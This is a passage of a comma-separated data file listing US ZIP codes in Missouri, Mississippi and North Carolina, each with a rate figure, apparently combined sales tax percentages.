US-MO-65645,US,MO,65645,5.6,,,, US-MO-65646,US,MO,65646,5.725,,,, US-MO-65647,US,MO,65647,5.725,,,, US-MO-65648,US,MO,65648,5.475,,,, US-MO-65649,US,MO,65649,5.6,,,, US-MO-65650,US,MO,65650,5.6,,,, US-MO-65652,US,MO,65652,6.058,,,, US-MO-65653,US,MO,65653,6.1,,,, US-MO-65654,US,MO,65654,5.725,,,, US-MO-65655,US,MO,65655,8.225,,,, US-MO-65656,US,MO,65656,5.975,,,, US-MO-65657,US,MO,65657,5.975,,,, US-MO-65658,US,MO,65658,5.725,,,, US-MO-65660,US,MO,65660,5.225,,,, US-MO-65661,US,MO,65661,7.6,,,, US-MO-65662,US,MO,65662,5.225,,,, US-MO-65663,US,MO,65663,5.6,,,, US-MO-65664,US,MO,65664,5.725,,,, US-MO-65666,US,MO,65666,6.725,,,, US-MO-65667,US,MO,65667,5.225,,,, US-MO-65668,US,MO,65668,7.225,,,, US-MO-65669,US,MO,65669,5.975,,,, US-MO-65672,US,MO,65672,6.1,,,, US-MO-65673,US,MO,65673,8.1,,,, US-MO-65674,US,MO,65674,7.225,,,, US-MO-65675,US,MO,65675,6.975,,,, US-MO-65676,US,MO,65676,6.725,,,, US-MO-65679,US,MO,65679,6.1,,,, US-MO-65680,US,MO,65680,6.1,,,, US-MO-65681,US,MO,65681,6.475,,,, US-MO-65682,US,MO,65682,7.6,,,, US-MO-65685,US,MO,65685,5.6,,,, US-MO-65686,US,MO,65686,6.475,,,, US-MO-65688,US,MO,65688,5.162,,,, US-MO-65689,US,MO,65689,5.725,,,, US-MO-65690,US,MO,65690,8.225,,,, US-MO-65692,US,MO,65692,9.225,,,, US-MO-65702,US,MO,65702,5.225,,,, US-MO-65704,US,MO,65704,5.225,,,, US-MO-65705,US,MO,65705,5.725,,,, US-MO-65706,US,MO,65706,6.058,,,, US-MO-65707,US,MO,65707,5.725,,,, US-MO-65708,US,MO,65708,7.475,,,, US-MO-65710,US,MO,65710,5.6,,,, US-MO-65711,US,MO,65711,7.225,,,, US-MO-65712,US,MO,65712,5.725,,,, US-MO-65713,US,MO,65713,6.058,,,, US-MO-65714,US,MO,65714,7.475,,,, US-MO-65715,US,MO,65715,7.225,,,, US-MO-65717,US,MO,65717,5.225,,,, US-MO-65720,US,MO,65720,5.975,,,, US-MO-65721,US,MO,65721,7.975,,,, US-MO-65722,US,MO,65722,5.225,,,, US-MO-65723,US,MO,65723,5.725,,,, US-MO-65724,US,MO,65724,5.725,,,, US-MO-65725,US,MO,65725,5.475,,,, US-MO-65726,US,MO,65726,6.1,,,, US-MO-65727,US,MO,65727,5.6,,,, US-MO-65728,US,MO,65728,5.975,,,, US-MO-65729,US,MO,65729,6.725,,,, US-MO-65730,US,MO,65730,6.225,,,, US-MO-65731,US,MO,65731,6.1,,,, US-MO-65732,US,MO,65732,6.725,,,, US-MO-65733,US,MO,65733,6.1,,,, US-MO-65734,US,MO,65734,5.725,,,, US-MO-65735,US,MO,65735,5.725,,,, US-MO-65737,US,MO,65737,6.475,,,, US-MO-65738,US,MO,65738,7.85,,,, US-MO-65739,US,MO,65739,6.1,,,, US-MO-65740,US,MO,65740,7.6,,,, US-MO-65741,US,MO,65741,6.725,,,, US-MO-65742,US,MO,65742,5.475,,,, US-MO-65744,US,MO,65744,6.1,,,, US-MO-65745,US,MO,65745,5.725,,,, US-MO-65746,US,MO,65746,6.058,,,, US-MO-65747,US,MO,65747,5.975,,,, US-MO-65752,US,MO,65752,5.725,,,, US-MO-65753,US,MO,65753,5.975,,,, US-MO-65754,US,MO,65754,5.975,,,, US-MO-65755,US,MO,65755,5.725,,,, US-MO-65756,US,MO,65756,5.725,,,, US-MO-65757,US,MO,65757,5.475,,,, US-MO-65759,US,MO,65759,6.1,,,, US-MO-65760,US,MO,65760,6.725,,,, US-MO-65761,US,MO,65761,6.1,,,, US-MO-65762,US,MO,65762,6.725,,,, US-MO-65764,US,MO,65764,6.225,,,, US-MO-65765,US,MO,65765,5.475,,,, US-MO-65766,US,MO,65766,7.725,,,, US-MO-65767,US,MO,65767,7.725,,,, US-MO-65768,US,MO,65768,7.225,,,, US-MO-65769,US,MO,65769,5.725,,,, US-MO-65770,US,MO,65770,5.475,,,, US-MO-65771,US,MO,65771,6.1,,,, US-MO-65772,US,MO,65772,5.725,,,, US-MO-65773,US,MO,65773,6.725,,,, US-MO-65774,US,MO,65774,7.225,,,, US-MO-65775,US,MO,65775,5.162,,,, US-MO-65777,US,MO,65777,5.162,,,, US-MO-65778,US,MO,65778,6.225,,,, US-MO-65779,US,MO,65779,7.725,,,, US-MO-65781,US,MO,65781,5.475,,,, US-MO-65783,US,MO,65783,6.225,,,, US-MO-65784,US,MO,65784,6.725,,,, US-MO-65785,US,MO,65785,5.725,,,, US-MO-65786,US,MO,65786,5.475,,,, US-MO-65787,US,MO,65787,5.475,,,, US-MO-65788,US,MO,65788,5.162,,,, US-MO-65789,US,MO,65789,5.162,,,, US-MO-65790,US,MO,65790,5.162,,,, US-MO-65791,US,MO,65791,8.225,,,, US-MO-65793,US,MO,65793,6.912,,,, US-MO-65801,US,MO,65801,7.6,,,, US-MO-65802,US,MO,65802,7.6,,,, US-MO-65803,US,MO,65803,7.6,,,, US-MO-65804,US,MO,65804,7.6,,,, US-MO-65805,US,MO,65805,7.6,,,, US-MO-65806,US,MO,65806,7.6,,,, US-MO-65807,US,MO,65807,7.6,,,, US-MO-65808,US,MO,65808,7.6,,,, US-MO-65809,US,MO,65809,5.475,,,, US-MO-65810,US,MO,65810,5.475,,,, US-MO-65814,US,MO,65814,7.6,,,, US-MO-65817,US,MO,65817,7.6,,,, US-MO-65890,US,MO,65890,7.6,,,, US-MO-65897,US,MO,65897,7.6,,,, US-MO-65898,US,MO,65898,7.6,,,, US-MO-65899,US,MO,65899,7.6,,,, US-MS-38601,US,MS,38601,7,,,, US-MS-38602,US,MS,38602,7,,,, US-MS-38603,US,MS,38603,7,,,, US-MS-38606,US,MS,38606,7,,,, US-MS-38609,US,MS,38609,7,,,, US-MS-38610,US,MS,38610,7,,,, US-MS-38611,US,MS,38611,7,,,, US-MS-38614,US,MS,38614,7,,,, US-MS-38617,US,MS,38617,7,,,, US-MS-38618,US,MS,38618,7,,,, US-MS-38619,US,MS,38619,7,,,, US-MS-38620,US,MS,38620,7,,,, US-MS-38621,US,MS,38621,7,,,, US-MS-38622,US,MS,38622,7,,,, US-MS-38623,US,MS,38623,7,,,, US-MS-38625,US,MS,38625,7,,,, US-MS-38626,US,MS,38626,7,,,, US-MS-38627,US,MS,38627,7,,,, US-MS-38628,US,MS,38628,7,,,, US-MS-38629,US,MS,38629,7,,,, US-MS-38631,US,MS,38631,7,,,, US-MS-38632,US,MS,38632,7,,,, US-MS-38633,US,MS,38633,7,,,, US-MS-38634,US,MS,38634,7,,,, US-MS-38635,US,MS,38635,7,,,, US-MS-38637,US,MS,38637,7,,,, US-MS-38638,US,MS,38638,7,,,, US-MS-38639,US,MS,38639,7,,,, US-MS-38641,US,MS,38641,7,,,, US-MS-38642,US,MS,38642,7,,,, US-MS-38643,US,MS,38643,7,,,, US-MS-38644,US,MS,38644,7,,,, US-MS-38645,US,MS,38645,7,,,, US-MS-38646,US,MS,38646,7,,,, US-MS-38647,US,MS,38647,7,,,, US-MS-38649,US,MS,38649,7,,,, US-MS-38650,US,MS,38650,7,,,, US-MS-38651,US,MS,38651,7,,,, US-MS-38652,US,MS,38652,7,,,, US-MS-38654,US,MS,38654,7,,,, US-MS-38655,US,MS,38655,7,,,, US-MS-38658,US,MS,38658,7,,,, US-MS-38659,US,MS,38659,7,,,, US-MS-38661,US,MS,38661,7,,,, US-MS-38663,US,MS,38663,7,,,, US-MS-38664,US,MS,38664,7,,,, US-MS-38665,US,MS,38665,7,,,, US-MS-38666,US,MS,38666,7,,,, US-MS-38668,US,MS,38668,7,,,, US-MS-38669,US,MS,38669,7,,,, US-MS-38670,US,MS,38670,7,,,, US-MS-38671,US,MS,38671,7,,,, US-MS-38672,US,MS,38672,7,,,, US-MS-38673,US,MS,38673,7,,,, US-MS-38674,US,MS,38674,7,,,, US-MS-38675,US,MS,38675,7,,,, US-MS-38676,US,MS,38676,7,,,, US-MS-38677,US,MS,38677,7,,,, US-MS-38679,US,MS,38679,7,,,, US-MS-38680,US,MS,38680,7,,,, US-MS-38683,US,MS,38683,7,,,, US-MS-38685,US,MS,38685,7,,,, US-MS-38686,US,MS,38686,7,,,, US-MS-38701,US,MS,38701,7,,,, US-MS-38702,US,MS,38702,7,,,, US-MS-38703,US,MS,38703,7,,,, US-MS-38704,US,MS,38704,7,,,, US-MS-38720,US,MS,38720,7,,,, US-MS-38721,US,MS,38721,7,,,, US-MS-38722,US,MS,38722,7,,,, US-MS-38723,US,MS,38723,7,,,, US-MS-38725,US,MS,38725,7,,,, US-MS-38726,US,MS,38726,7,,,, US-MS-38730,US,MS,38730,7,,,, US-MS-38731,US,MS,38731,7,,,, US-MS-38732,US,MS,38732,7,,,, US-MS-38733,US,MS,38733,7,,,, US-MS-38736,US,MS,38736,7,,,, US-MS-38737,US,MS,38737,7,,,, US-MS-38738,US,MS,38738,7,,,, US-MS-38739,US,MS,38739,7,,,, US-MS-38740,US,MS,38740,7,,,, US-MS-38744,US,MS,38744,7,,,, US-MS-38745,US,MS,38745,7,,,, US-MS-38746,US,MS,38746,7,,,, US-MS-38748,US,MS,38748,7,,,, US-MS-38749,US,MS,38749,7,,,, US-MS-38751,US,MS,38751,7,,,, US-MS-38753,US,MS,38753,7,,,, US-MS-38754,US,MS,38754,7,,,, US-MS-38756,US,MS,38756,7,,,, US-MS-38759,US,MS,38759,7,,,, US-MS-38760,US,MS,38760,7,,,, US-MS-38761,US,MS,38761,7,,,, US-MS-38762,US,MS,38762,7,,,, US-MS-38764,US,MS,38764,7,,,, US-MS-38765,US,MS,38765,7,,,, US-MS-38767,US,MS,38767,7,,,, US-MS-38768,US,MS,38768,7,,,, US-MS-38769,US,MS,38769,7,,,, US-MS-38771,US,MS,38771,7,,,, US-MS-38772,US,MS,38772,7,,,, US-MS-38773,US,MS,38773,7,,,, US-MS-38774,US,MS,38774,7,,,, US-MS-38776,US,MS,38776,7,,,, US-MS-38778,US,MS,38778,7,,,, US-MS-38780,US,MS,38780,7,,,, US-MS-38781,US,MS,38781,7,,,, US-MS-38782,US,MS,38782,7,,,, US-MS-38801,US,MS,38801,7.25,,,, US-MS-38802,US,MS,38802,7.25,,,, US-MS-38803,US,MS,38803,7.25,,,, US-MS-38804,US,MS,38804,7.25,,,, US-MS-38820,US,MS,38820,7,,,, US-MS-38821,US,MS,38821,7,,,, US-MS-38824,US,MS,38824,7,,,, US-MS-38825,US,MS,38825,7,,,, US-MS-38826,US,MS,38826,7.25,,,, US-MS-38827,US,MS,38827,7,,,, US-MS-38828,US,MS,38828,7,,,, US-MS-38829,US,MS,38829,7,,,, US-MS-38833,US,MS,38833,7,,,, US-MS-38834,US,MS,38834,7,,,, US-MS-38835,US,MS,38835,7,,,, US-MS-38838,US,MS,38838,7,,,, US-MS-38839,US,MS,38839,7,,,, US-MS-38841,US,MS,38841,7,,,, US-MS-38843,US,MS,38843,7,,,, US-MS-38844,US,MS,38844,7,,,, US-MS-38846,US,MS,38846,7,,,, US-MS-38847,US,MS,38847,7,,,, US-MS-38848,US,MS,38848,7,,,, US-MS-38849,US,MS,38849,7,,,, US-MS-38850,US,MS,38850,7,,,, US-MS-38851,US,MS,38851,7,,,, US-MS-38852,US,MS,38852,7,,,, US-MS-38855,US,MS,38855,7,,,, US-MS-38856,US,MS,38856,7,,,, US-MS-38857,US,MS,38857,7,,,, US-MS-38858,US,MS,38858,7,,,, US-MS-38859,US,MS,38859,7,,,, US-MS-38860,US,MS,38860,7,,,, US-MS-38862,US,MS,38862,7,,,, US-MS-38863,US,MS,38863,7,,,, US-MS-38864,US,MS,38864,7,,,, US-MS-38865,US,MS,38865,7,,,, US-MS-38866,US,MS,38866,7,,,, US-MS-38868,US,MS,38868,7,,,, US-MS-38869,US,MS,38869,7,,,, US-MS-38870,US,MS,38870,7,,,, US-MS-38871,US,MS,38871,7,,,, US-MS-38873,US,MS,38873,7,,,, US-MS-38874,US,MS,38874,7,,,, US-MS-38875,US,MS,38875,7,,,, US-MS-38876,US,MS,38876,7,,,, US-MS-38877,US,MS,38877,7,,,, US-MS-38878,US,MS,38878,7,,,, US-MS-38879,US,MS,38879,7,,,, US-MS-38880,US,MS,38880,7,,,, US-MS-38901,US,MS,38901,7,,,, US-MS-38902,US,MS,38902,7,,,, US-MS-38913,US,MS,38913,7,,,, US-MS-38914,US,MS,38914,7,,,, US-MS-38915,US,MS,38915,7,,,, US-MS-38916,US,MS,38916,7,,,, US-MS-38917,US,MS,38917,7,,,, US-MS-38920,US,MS,38920,7,,,, US-MS-38921,US,MS,38921,7,,,, US-MS-38922,US,MS,38922,7,,,, US-MS-38923,US,MS,38923,7,,,, US-MS-38924,US,MS,38924,7,,,, US-MS-38925,US,MS,38925,7,,,, US-MS-38926,US,MS,38926,7,,,, US-MS-38927,US,MS,38927,7,,,, US-MS-38928,US,MS,38928,7,,,, US-MS-38929,US,MS,38929,7,,,, US-MS-38930,US,MS,38930,7,,,, US-MS-38935,US,MS,38935,7,,,, US-MS-38940,US,MS,38940,7,,,, US-MS-38941,US,MS,38941,7,,,, US-MS-38943,US,MS,38943,7,,,, US-MS-38944,US,MS,38944,7,,,, US-MS-38945,US,MS,38945,7,,,, US-MS-38946,US,MS,38946,7,,,, US-MS-38947,US,MS,38947,7,,,, US-MS-38948,US,MS,38948,7,,,, US-MS-38949,US,MS,38949,7,,,, US-MS-38950,US,MS,38950,7,,,, US-MS-38951,US,MS,38951,7,,,, US-MS-38952,US,MS,38952,7,,,, US-MS-38953,US,MS,38953,7,,,, US-MS-38954,US,MS,38954,7,,,, US-MS-38955,US,MS,38955,7,,,, US-MS-38957,US,MS,38957,7,,,, US-MS-38958,US,MS,38958,7,,,, US-MS-38959,US,MS,38959,7,,,, US-MS-38960,US,MS,38960,7,,,, US-MS-38961,US,MS,38961,7,,,, US-MS-38962,US,MS,38962,7,,,, US-MS-38963,US,MS,38963,7,,,, US-MS-38964,US,MS,38964,7,,,, US-MS-38965,US,MS,38965,7,,,, US-MS-38966,US,MS,38966,7,,,, US-MS-38967,US,MS,38967,7,,,, US-MS-39038,US,MS,39038,7,,,, US-MS-39039,US,MS,39039,7,,,, US-MS-39040,US,MS,39040,7,,,, US-MS-39041,US,MS,39041,7,,,, US-MS-39042,US,MS,39042,7,,,, US-MS-39043,US,MS,39043,7,,,, US-MS-39044,US,MS,39044,7,,,, US-MS-39045,US,MS,39045,7,,,, US-MS-39046,US,MS,39046,7,,,, US-MS-39047,US,MS,39047,7,,,, US-MS-39051,US,MS,39051,7,,,, US-MS-39054,US,MS,39054,7,,,, US-MS-39056,US,MS,39056,7,,,, US-MS-39057,US,MS,39057,7,,,, US-MS-39058,US,MS,39058,7,,,, US-MS-39059,US,MS,39059,7,,,, US-MS-39060,US,MS,39060,7,,,, US-MS-39061,US,MS,39061,7,,,, US-MS-39062,US,MS,39062,7,,,, US-MS-39063,US,MS,39063,7,,,, US-MS-39066,US,MS,39066,7,,,, US-MS-39067,US,MS,39067,7,,,, US-MS-39069,US,MS,39069,7,,,, US-MS-39071,US,MS,39071,7,,,, US-MS-39072,US,MS,39072,7,,,, US-MS-39073,US,MS,39073,7,,,, US-MS-39074,US,MS,39074,7,,,, US-MS-39077,US,MS,39077,7,,,, US-MS-39078,US,MS,39078,7,,,, US-MS-39079,US,MS,39079,7,,,, US-MS-39080,US,MS,39080,7,,,, US-MS-39081,US,MS,39081,7,,,, US-MS-39082,US,MS,39082,7,,,, US-MS-39083,US,MS,39083,7,,,, US-MS-39086,US,MS,39086,7,,,, US-MS-39087,US,MS,39087,7,,,, US-MS-39088,US,MS,39088,7,,,, US-MS-39090,US,MS,39090,7,,,, US-MS-39092,US,MS,39092,7,,,, US-MS-39094,US,MS,39094,7,,,, US-MS-39095,US,MS,39095,7,,,, US-MS-39096,US,MS,39096,7,,,, US-MS-39097,US,MS,39097,7,,,, US-MS-39098,US,MS,39098,7,,,, US-MS-39107,US,MS,39107,7,,,, US-MS-39108,US,MS,39108,7,,,, US-MS-39109,US,MS,39109,7,,,, US-MS-39110,US,MS,39110,7,,,, US-MS-39111,US,MS,39111,7,,,, US-MS-39113,US,MS,39113,7,,,, US-MS-39114,US,MS,39114,7,,,, US-MS-39115,US,MS,39115,7,,,, US-MS-39116,US,MS,39116,7,,,, US-MS-39117,US,MS,39117,7,,,, US-MS-39119,US,MS,39119,7,,,, US-MS-39120,US,MS,39120,7,,,, US-MS-39121,US,MS,39121,7,,,, US-MS-39122,US,MS,39122,7,,,, US-MS-39130,US,MS,39130,7,,,, US-MS-39140,US,MS,39140,7,,,, US-MS-39144,US,MS,39144,7,,,, US-MS-39145,US,MS,39145,7,,,, US-MS-39146,US,MS,39146,7,,,, US-MS-39148,US,MS,39148,7,,,, US-MS-39149,US,MS,39149,7,,,, US-MS-39150,US,MS,39150,7,,,, US-MS-39151,US,MS,39151,7,,,, US-MS-39152,US,MS,39152,7,,,, US-MS-39153,US,MS,39153,7,,,, US-MS-39154,US,MS,39154,7,,,, US-MS-39156,US,MS,39156,7,,,, US-MS-39157,US,MS,39157,7,,,, US-MS-39158,US,MS,39158,7,,,, US-MS-39159,US,MS,39159,7,,,, US-MS-39160,US,MS,39160,7,,,, US-MS-39161,US,MS,39161,7,,,, US-MS-39162,US,MS,39162,7,,,, US-MS-39163,US,MS,39163,7,,,, US-MS-39165,US,MS,39165,7,,,, US-MS-39166,US,MS,39166,7,,,, US-MS-39167,US,MS,39167,7,,,, US-MS-39168,US,MS,39168,7,,,, US-MS-39169,US,MS,39169,7,,,, US-MS-39170,US,MS,39170,7,,,, US-MS-39171,US,MS,39171,7,,,, US-MS-39173,US,MS,39173,7,,,, US-MS-39174,US,MS,39174,7,,,, US-MS-39175,US,MS,39175,7,,,, US-MS-39176,US,MS,39176,7,,,, US-MS-39177,US,MS,39177,7,,,, US-MS-39179,US,MS,39179,7,,,, US-MS-39180,US,MS,39180,7,,,, US-MS-39181,US,MS,39181,7,,,, US-MS-39182,US,MS,39182,7,,,, US-MS-39183,US,MS,39183,7,,,, US-MS-39189,US,MS,39189,7,,,, US-MS-39190,US,MS,39190,7,,,, US-MS-39191,US,MS,39191,7,,,, US-MS-39192,US,MS,39192,7,,,, US-MS-39193,US,MS,39193,7,,,, US-MS-39194,US,MS,39194,7,,,, US-MS-39201,US,MS,39201,7,,,, US-MS-39202,US,MS,39202,7,,,, US-MS-39203,US,MS,39203,7,,,, US-MS-39204,US,MS,39204,7,,,, US-MS-39205,US,MS,39205,7,,,, US-MS-39206,US,MS,39206,7,,,, US-MS-39207,US,MS,39207,7,,,, US-MS-39208,US,MS,39208,7,,,, US-MS-39209,US,MS,39209,7,,,, US-MS-39210,US,MS,39210,7,,,, US-MS-39211,US,MS,39211,7,,,, US-MS-39212,US,MS,39212,7,,,, US-MS-39213,US,MS,39213,7,,,, US-MS-39215,US,MS,39215,7,,,, US-MS-39216,US,MS,39216,7,,,, US-MS-39217,US,MS,39217,7,,,, US-MS-39218,US,MS,39218,7,,,, US-MS-39225,US,MS,39225,7,,,, US-MS-39232,US,MS,39232,7,,,, US-MS-39236,US,MS,39236,7,,,, US-MS-39250,US,MS,39250,7,,,, US-MS-39269,US,MS,39269,7,,,, US-MS-39272,US,MS,39272,7,,,, US-MS-39282,US,MS,39282,7,,,, US-MS-39283,US,MS,39283,7,,,, US-MS-39284,US,MS,39284,7,,,, US-MS-39286,US,MS,39286,7,,,, US-MS-39288,US,MS,39288,7,,,, US-MS-39289,US,MS,39289,7,,,, US-MS-39296,US,MS,39296,7,,,, US-MS-39298,US,MS,39298,7,,,, US-MS-39301,US,MS,39301,7,,,, US-MS-39302,US,MS,39302,7,,,, US-MS-39303,US,MS,39303,7,,,, US-MS-39304,US,MS,39304,7,,,, US-MS-39305,US,MS,39305,7,,,, US-MS-39307,US,MS,39307,7,,,, US-MS-39309,US,MS,39309,7,,,, US-MS-39320,US,MS,39320,7,,,, US-MS-39322,US,MS,39322,7,,,, US-MS-39323,US,MS,39323,7,,,, US-MS-39324,US,MS,39324,7,,,, US-MS-39325,US,MS,39325,7,,,, US-MS-39326,US,MS,39326,7,,,, US-MS-39327,US,MS,39327,7,,,, US-MS-39328,US,MS,39328,7,,,, US-MS-39330,US,MS,39330,7,,,, US-MS-39332,US,MS,39332,7,,,, US-MS-39335,US,MS,39335,7,,,, US-MS-39336,US,MS,39336,7,,,, US-MS-39337,US,MS,39337,7,,,, US-MS-39338,US,MS,39338,7,,,, US-MS-39339,US,MS,39339,7,,,, US-MS-39341,US,MS,39341,7,,,, US-MS-39342,US,MS,39342,7,,,, US-MS-39345,US,MS,39345,7,,,, US-MS-39346,US,MS,39346,7,,,, US-MS-39347,US,MS,39347,7,,,, US-MS-39348,US,MS,39348,7,,,, US-MS-39350,US,MS,39350,7,,,, US-MS-39352,US,MS,39352,7,,,, US-MS-39354,US,MS,39354,7,,,, US-MS-39355,US,MS,39355,7,,,, US-MS-39356,US,MS,39356,7,,,, US-MS-39358,US,MS,39358,7,,,, US-MS-39359,US,MS,39359,7,,,, US-MS-39360,US,MS,39360,7,,,, US-MS-39361,US,MS,39361,7,,,, US-MS-39362,US,MS,39362,7,,,, US-MS-39363,US,MS,39363,7,,,, US-MS-39364,US,MS,39364,7,,,, US-MS-39365,US,MS,39365,7,,,, US-MS-39366,US,MS,39366,7,,,, US-MS-39367,US,MS,39367,7,,,, US-MS-39401,US,MS,39401,7,,,, US-MS-39402,US,MS,39402,7,,,, US-MS-39403,US,MS,39403,7,,,, US-MS-39404,US,MS,39404,7,,,, US-MS-39406,US,MS,39406,7,,,, US-MS-39407,US,MS,39407,7,,,, US-MS-39421,US,MS,39421,7,,,, US-MS-39422,US,MS,39422,7,,,, US-MS-39423,US,MS,39423,7,,,, US-MS-39425,US,MS,39425,7,,,, US-MS-39426,US,MS,39426,7,,,, US-MS-39427,US,MS,39427,7,,,, US-MS-39428,US,MS,39428,7,,,, US-MS-39429,US,MS,39429,7,,,, US-MS-39436,US,MS,39436,7,,,, US-MS-39437,US,MS,39437,7,,,, US-MS-39439,US,MS,39439,7,,,, US-MS-39440,US,MS,39440,7,,,, US-MS-39441,US,MS,39441,7,,,, US-MS-39442,US,MS,39442,7,,,, US-MS-39443,US,MS,39443,7,,,, US-MS-39451,US,MS,39451,7,,,, US-MS-39452,US,MS,39452,7,,,, US-MS-39455,US,MS,39455,7,,,, US-MS-39456,US,MS,39456,7,,,, US-MS-39457,US,MS,39457,7,,,, US-MS-39459,US,MS,39459,7,,,, US-MS-39460,US,MS,39460,7,,,, US-MS-39461,US,MS,39461,7,,,, US-MS-39462,US,MS,39462,7,,,, US-MS-39463,US,MS,39463,7,,,, US-MS-39464,US,MS,39464,7,,,, US-MS-39465,US,MS,39465,7,,,, US-MS-39466,US,MS,39466,7,,,, US-MS-39470,US,MS,39470,7,,,, US-MS-39474,US,MS,39474,7,,,, US-MS-39475,US,MS,39475,7,,,, US-MS-39476,US,MS,39476,7,,,, US-MS-39477,US,MS,39477,7,,,, US-MS-39478,US,MS,39478,7,,,, US-MS-39479,US,MS,39479,7,,,, US-MS-39480,US,MS,39480,7,,,, US-MS-39481,US,MS,39481,7,,,, US-MS-39482,US,MS,39482,7,,,, US-MS-39483,US,MS,39483,7,,,, US-MS-39501,US,MS,39501,7,,,, US-MS-39502,US,MS,39502,7,,,, US-MS-39503,US,MS,39503,7,,,, US-MS-39505,US,MS,39505,7,,,, US-MS-39506,US,MS,39506,7,,,, US-MS-39507,US,MS,39507,7,,,, US-MS-39520,US,MS,39520,7,,,, US-MS-39521,US,MS,39521,7,,,, US-MS-39522,US,MS,39522,7,,,, US-MS-39525,US,MS,39525,7,,,, US-MS-39529,US,MS,39529,7,,,, US-MS-39530,US,MS,39530,7,,,, US-MS-39531,US,MS,39531,7,,,, US-MS-39532,US,MS,39532,7,,,, US-MS-39533,US,MS,39533,7,,,, US-MS-39534,US,MS,39534,7,,,, US-MS-39535,US,MS,39535,7,,,, US-MS-39540,US,MS,39540,7,,,, US-MS-39552,US,MS,39552,7,,,, US-MS-39553,US,MS,39553,7,,,, US-MS-39555,US,MS,39555,7,,,, US-MS-39556,US,MS,39556,7,,,, US-MS-39558,US,MS,39558,7,,,, US-MS-39560,US,MS,39560,7,,,, US-MS-39561,US,MS,39561,7,,,, US-MS-39562,US,MS,39562,7,,,, US-MS-39563,US,MS,39563,7,,,, US-MS-39564,US,MS,39564,7,,,, US-MS-39565,US,MS,39565,7,,,, US-MS-39566,US,MS,39566,7,,,, US-MS-39567,US,MS,39567,7,,,, US-MS-39568,US,MS,39568,7,,,, US-MS-39569,US,MS,39569,7,,,, US-MS-39571,US,MS,39571,7,,,, US-MS-39572,US,MS,39572,7,,,, US-MS-39573,US,MS,39573,7,,,, US-MS-39574,US,MS,39574,7,,,, US-MS-39576,US,MS,39576,7,,,, US-MS-39577,US,MS,39577,7,,,, US-MS-39581,US,MS,39581,7,,,, US-MS-39595,US,MS,39595,7,,,, US-MS-39601,US,MS,39601,7,,,, US-MS-39602,US,MS,39602,7,,,, US-MS-39603,US,MS,39603,7,,,, US-MS-39629,US,MS,39629,7,,,, US-MS-39630,US,MS,39630,7,,,, US-MS-39631,US,MS,39631,7,,,, US-MS-39632,US,MS,39632,7,,,, US-MS-39633,US,MS,39633,7,,,, US-MS-39635,US,MS,39635,7,,,, US-MS-39638,US,MS,39638,7,,,, US-MS-39641,US,MS,39641,7,,,, US-MS-39643,US,MS,39643,7,,,, US-MS-39645,US,MS,39645,7,,,, US-MS-39647,US,MS,39647,7,,,, US-MS-39648,US,MS,39648,7,,,, US-MS-39649,US,MS,39649,7,,,, US-MS-39652,US,MS,39652,7,,,, US-MS-39653,US,MS,39653,7,,,, US-MS-39654,US,MS,39654,7,,,, US-MS-39656,US,MS,39656,7,,,, US-MS-39657,US,MS,39657,7,,,, US-MS-39661,US,MS,39661,7,,,, US-MS-39662,US,MS,39662,7,,,, US-MS-39663,US,MS,39663,7,,,, US-MS-39664,US,MS,39664,7,,,, US-MS-39665,US,MS,39665,7,,,, US-MS-39666,US,MS,39666,7,,,, US-MS-39667,US,MS,39667,7,,,, US-MS-39668,US,MS,39668,7,,,, US-MS-39669,US,MS,39669,7,,,, US-MS-39701,US,MS,39701,7,,,, US-MS-39702,US,MS,39702,7,,,, US-MS-39703,US,MS,39703,7,,,, US-MS-39704,US,MS,39704,7,,,, US-MS-39705,US,MS,39705,7,,,, US-MS-39710,US,MS,39710,7,,,, US-MS-39730,US,MS,39730,7,,,, US-MS-39735,US,MS,39735,7,,,, US-MS-39736,US,MS,39736,7,,,, US-MS-39737,US,MS,39737,7,,,, US-MS-39739,US,MS,39739,7,,,, US-MS-39740,US,MS,39740,7,,,, US-MS-39741,US,MS,39741,7,,,, US-MS-39743,US,MS,39743,7,,,, US-MS-39744,US,MS,39744,7,,,, US-MS-39745,US,MS,39745,7,,,, US-MS-39746,US,MS,39746,7,,,, US-MS-39747,US,MS,39747,7,,,, US-MS-39750,US,MS,39750,7,,,, US-MS-39751,US,MS,39751,7,,,, US-MS-39752,US,MS,39752,7,,,, US-MS-39753,US,MS,39753,7,,,, US-MS-39754,US,MS,39754,7,,,, US-MS-39755,US,MS,39755,7,,,, US-MS-39756,US,MS,39756,7,,,, US-MS-39759,US,MS,39759,7,,,, US-MS-39760,US,MS,39760,7,,,, US-MS-39762,US,MS,39762,7,,,, US-MS-39766,US,MS,39766,7,,,, US-MS-39767,US,MS,39767,7,,,, US-MS-39769,US,MS,39769,7,,,, US-MS-39771,US,MS,39771,7,,,, US-MS-39772,US,MS,39772,7,,,, US-MS-39773,US,MS,39773,7,,,, US-MS-39776,US,MS,39776,7,,,, US-NC-27006,US,NC,27006,6.75,,,, US-NC-27007,US,NC,27007,7,,,, US-NC-27009,US,NC,27009,6.75,,,, US-NC-27010,US,NC,27010,6.75,,,, US-NC-27011,US,NC,27011,6.75,,,, US-NC-27012,US,NC,27012,6.75,,,, US-NC-27013,US,NC,27013,7,,,, US-NC-27014,US,NC,27014,6.75,,,, US-NC-27016,US,NC,27016,6.75,,,, US-NC-27017,US,NC,27017,7,,,, US-NC-27018,US,NC,27018,6.75,,,, US-NC-27019,US,NC,27019,6.75,,,, US-NC-27020,US,NC,27020,6.75,,,, US-NC-27021,US,NC,27021,6.75,,,, US-NC-27022,US,NC,27022,6.75,,,, US-NC-27023,US,NC,27023,6.75,,,, US-NC-27024,US,NC,27024,7,,,, US-NC-27025,US,NC,27025,6.75,,,, US-NC-27027,US,NC,27027,6.75,,,, US-NC-27028,US,NC,27028,6.75,,,, US-NC-27030,US,NC,27030,7,,,, US-NC-27031,US,NC,27031,7,,,, US-NC-27040,US,NC,27040,6.75,,,, US-NC-27041,US,NC,27041,7,,,, US-NC-27042,US,NC,27042,6.75,,,, US-NC-27043,US,NC,27043,6.75,,,, US-NC-27045,US,NC,27045,6.75,,,, US-NC-27046,US,NC,27046,6.75,,,, US-NC-27047,US,NC,27047,7,,,, US-NC-27048,US,NC,27048,6.75,,,, US-NC-27049,US,NC,27049,7,,,, US-NC-27050,US,NC,27050,6.75,,,, US-NC-27051,US,NC,27051,6.75,,,, US-NC-27052,US,NC,27052,6.75,,,, US-NC-27053,US,NC,27053,6.75,,,, US-NC-27054,US,NC,27054,7,,,, US-NC-27055,US,NC,27055,6.75,,,, US-NC-27094,US,NC,27094,6.75,,,, US-NC-27098,US,NC,27098,6.75,,,, US-NC-27099,US,NC,27099,6.75,,,, 